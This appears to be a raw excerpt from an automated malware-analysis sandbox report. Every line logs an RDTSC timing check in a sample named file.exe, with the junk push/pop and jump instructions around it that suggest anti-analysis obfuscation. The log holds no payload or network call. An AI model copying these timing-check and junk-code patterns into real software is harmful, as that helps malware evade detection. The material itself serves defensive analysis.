Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725EBD second address: 725EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725EC1 second address: 725EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725EE0 second address: 725EFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254D230C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7261E3 second address: 7261E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7261E9 second address: 7261F7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6254D230B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7261F7 second address: 72620A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726614 second address: 726634 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6254D230BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6254D230BCh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7267C0 second address: 7267D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873EBh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E593 second address: 72E5A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E5A5 second address: 72E5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D16E second address: 72D18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230C2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D18B second address: 72D1D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F6254B873EEh 0x00000012 jmp 00007F6254B873F4h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D1D4 second address: 72D1D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D513 second address: 72D520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D684 second address: 72D695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push edi 0x00000008 jbe 00007F6254D230B6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D695 second address: 72D6A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F6254B873E6h 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735C67 second address: 735C86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6254D230BEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735C86 second address: 735CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jng 00007F6254B873E6h 0x0000000b jmp 00007F6254B873F5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7358A3 second address: 7358A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747369 second address: 747388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007F6254B873E6h 0x0000000c jmp 00007F6254B873F3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747388 second address: 74738C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74738C second address: 7473CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F6254B873F5h 0x00000013 js 00007F6254B873E6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7473CA second address: 7473DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6254D230C0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7473DF second address: 7473E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6254B873E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7473E9 second address: 74740D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007F6254D230B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F6254D230C5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7470AF second address: 7470C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 jns 00007F6254B873EEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7470C8 second address: 7470CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748ADB second address: 748AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push edi 0x00000007 jnp 00007F6254B873ECh 0x0000000d push ebx 0x0000000e jmp 00007F6254B873EBh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D281 second address: 74D28B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6254D230BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D28B second address: 74D2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6254B873F2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7536BB second address: 7536C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7536C1 second address: 7536C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75626F second address: 756275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756275 second address: 75629B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F6254B873EFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75629B second address: 7562B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F6254D230BDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D7EC second address: 75D7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D7F0 second address: 75D7F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D7F4 second address: 75D813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6254B873F7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DED3 second address: 75DEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6254D230B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEDD second address: 75DEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEE1 second address: 75DEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEED second address: 75DEF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEF3 second address: 75DEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E039 second address: 75E03F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E1C8 second address: 75E1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F6254D230C7h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EBC9 second address: 75EBCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EBCE second address: 75EBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EBD4 second address: 75EBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7607FF second address: 760822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6254D230C6h 0x0000000c jne 00007F6254D230B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760822 second address: 760828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763FD4 second address: 763FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763B8F second address: 763BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254B873F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770355 second address: 770371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230BDh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jno 00007F6254D230B6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770371 second address: 770379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770379 second address: 77037D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77037D second address: 770381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775166 second address: 77517A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F6254D230BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77517A second address: 7751AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F8h 0x00000009 jo 00007F6254B873E6h 0x0000000f popad 0x00000010 jmp 00007F6254B873EDh 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7751AD second address: 7751D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F6254D230C8h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777171 second address: 777177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786B5A second address: 786B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6254D230B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786B64 second address: 786BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F6254B873E6h 0x0000000d jmp 00007F6254B873F6h 0x00000012 jmp 00007F6254B873ECh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6254B873F2h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786707 second address: 78670D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0EB7 second address: 7A0EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0EBB second address: 7A0ECF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6254D230B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6254D230BAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A11BA second address: 7A11BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A164C second address: 7A1659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6254D230B8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A17CC second address: 7A17D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1971 second address: 7A1975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1975 second address: 7A198D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6254B873E6h 0x00000008 jmp 00007F6254B873EEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A198D second address: 7A19A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254D230BBh 0x00000009 jmp 00007F6254D230BCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1AD0 second address: 7A1AF6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6254B873E6h 0x00000008 jmp 00007F6254B873ECh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 pushad 0x00000011 push edi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007F6254B873E6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1AF6 second address: 7A1AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1AFC second address: 7A1B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A76EE second address: 7A7721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F6254D230C7h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push esi 0x0000000e js 00007F6254D230B8h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7721 second address: 7A7725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7725 second address: 7A772F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6254D230B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A79C7 second address: 7A79D1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6254B873E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A79D1 second address: 7A79D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A79D8 second address: 7A7A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6254B873EDh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F6254B873F8h 0x00000016 mov eax, dword ptr [eax] 0x00000018 js 00007F6254B873FFh 0x0000001e push eax 0x0000001f push edx 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A92DA second address: 7A92E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A92E0 second address: 7A92E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A92E4 second address: 7A92FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F6254D230B6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F6254D230BBh 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A92FF second address: 7A9312 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6254B873EEh 0x00000008 jl 00007F6254B873E6h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8EA2 second address: 7A8EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnp 00007F6254D230B6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60144 second address: 4A60174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cx, B593h 0x00000010 push eax 0x00000011 mov ecx, edx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60174 second address: 4A60178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60178 second address: 4A6017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50031 second address: 4A5005F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F6254D230C3h 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90023 second address: 4A90087 instructions: 0x00000000 rdtsc 0x00000002 call 00007F6254B873F8h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F6254B873EBh 0x00000010 sbb ah, FFFFFFAEh 0x00000013 jmp 00007F6254B873F9h 0x00000018 popfd 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F6254B873F8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90087 second address: 4A90096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90096 second address: 4A900C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6254B873ECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A900C2 second address: 4A900D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254D230BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A900D4 second address: 4A9012C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov bl, 43h 0x0000000c mov esi, 4C001965h 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007F6254B873F0h 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F6254B873F8h 0x00000023 jmp 00007F6254B873F5h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
